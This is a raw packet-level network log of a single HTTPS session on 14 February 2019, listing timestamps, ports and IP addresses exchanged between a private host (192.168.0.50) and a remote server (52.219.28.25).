Feb 14, 2019 12:59:39.806319952 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.806438923 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.806715012 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.806716919 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.806961060 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.806972980 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.806977987 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.806986094 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.806993008 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.807080984 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.807260036 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.807291985 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.807404041 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.807560921 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.807579994 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.807590008 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.807595015 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.807600021 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.807671070 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.807818890 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.807861090 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.807898045 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.808008909 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.808147907 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.808247089 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.808450937 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.808454037 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.808546066 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.808655977 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.808712959 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.808727980 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.808733940 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.808768988 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.808774948 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.808779955 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.808963060 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.809051037 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.809081078 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.809195042 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.809350967 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.809356928 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.809875965 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.809885025 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.809890032 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.810103893 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.810106993 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.810108900 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.810163975 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.810276985 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.810676098 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.810678959 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.810681105 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.810739040 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.810859919 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.811018944 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.811033010 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.811038971 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.811043978 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.811048985 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.811053991 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.811155081 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.811274052 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.811393976 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.811501026 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.811575890 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.811585903 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.811816931 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.811820030 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.811865091 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.811974049 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.812406063 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.812410116 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.812411070 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.812414885 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.812551022 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.812952995 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.812956095 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.813237906 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.813251972 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.813256979 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.813261986 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.813267946 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.813272953 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.813556910 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.813664913 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.813777924 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.813893080 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.814007044 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.814121962 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.814235926 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.814352989 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.814356089 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.814378023 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.814383030 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.814388037 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.814393044 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.814466953 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.815500975 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.816279888 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.816292048 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.816625118 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.816713095 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.816720009 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.827078104 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.827572107 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.828083992 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.970659018 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.970689058 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.970814943 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.970984936 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.971352100 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.971468925 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.971538067 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.971640110 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.972167015 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.972286940 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.972408056 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.972469091 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.972501040 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.972532034 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.972537994 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.972635984 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.972907066 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.972938061 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.972956896 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.973012924 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.973023891 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.973030090 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.973061085 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.973205090 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.973337889 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.973412037 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.973778009 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.973781109 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.974123001 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.974136114 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.974353075 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.974354982 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.974355936 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.974358082 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.974359989 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.974926949 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.974929094 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.974930048 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.974931955 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.974932909 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.975275993 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.975289106 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.975294113 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.975298882 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.975303888 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.975503922 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.975505114 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.975507021 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.975508928 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.975840092 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.975851059 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.975856066 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.975861073 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.975866079 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.975871086 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.975877047 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.975882053 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.975887060 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.975976944 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.975980043 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.976067066 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.976068974 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.976070881 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.976644993 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.976645947 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.976890087 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.976912022 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.976917982 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.976922989 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.976927996 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.976933002 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.976937056 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.976942062 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.976947069 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.976952076 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.977503061 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.977509975 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.977514982 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.977519989 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.978632927 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.978652000 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.978657961 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.978662968 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.978667974 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.978672981 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.978677988 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.131531954 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.131565094 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.131711960 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.131968975 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.132081032 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.132199049 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.132909060 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.132978916 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.134218931 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.134334087 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.134466887 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.134507895 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.134566069 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.134588957 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.134594917 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.134601116 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.134605885 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.134610891 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.134655952 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.134882927 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.135010004 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.135016918 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.135030985 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.135104895 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.135123014 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.135282993 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.135395050 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.135499001 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.135590076 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.135705948 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.135818005 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.135968924 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.136081934 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.136137962 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.136147976 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.136153936 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.136158943 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.136163950 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.136194944 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.136354923 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.136516094 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.136540890 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.136658907 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.136693001 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.136702061 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.136707067 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.136712074 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.136975050 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.136979103 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.136998892 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.137114048 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.137275934 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.137784004 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.137795925 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.137801886 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.137806892 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.137811899 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.138040066 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.138044119 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.138045073 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.138046026 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.138047934 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.138389111 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.138612986 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.138614893 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.138616085 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.138617992 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.138957024 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.138967991 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.138973951 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.138978958 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.138983965 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.138988972 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.138993979 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.138998985 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.139003992 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.139008999 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.139014006 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.139019012 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.139422894 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.140038967 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.140048027 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.140053034 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.140058994 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.140070915 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.140197992 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.140640974 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.140649080 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.140654087 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.140659094 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.140664101 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.140669107 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.140711069 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.140716076 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.140721083 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.141763926 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.142405033 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.142909050 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.293890953 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.293930054 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.294100046 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.294131041 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.294250965 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.294539928 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.294584990 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.294616938 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.294729948 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.294851065 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.294970036 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.295027971 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.295141935 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.295269012 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.295644045 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.295649052 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.295650959 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.295743942 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.295869112 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.296130896 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.296133995 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.296225071 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.296376944 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.296544075 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.296570063 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.296576023 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.296581984 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.296586990 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.296591997 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.296670914 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.296789885 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.296904087 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.296951056 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.297065020 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.297116041 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.297127008 MEZ	49289	443	192.168.0.50	52.219.28.25
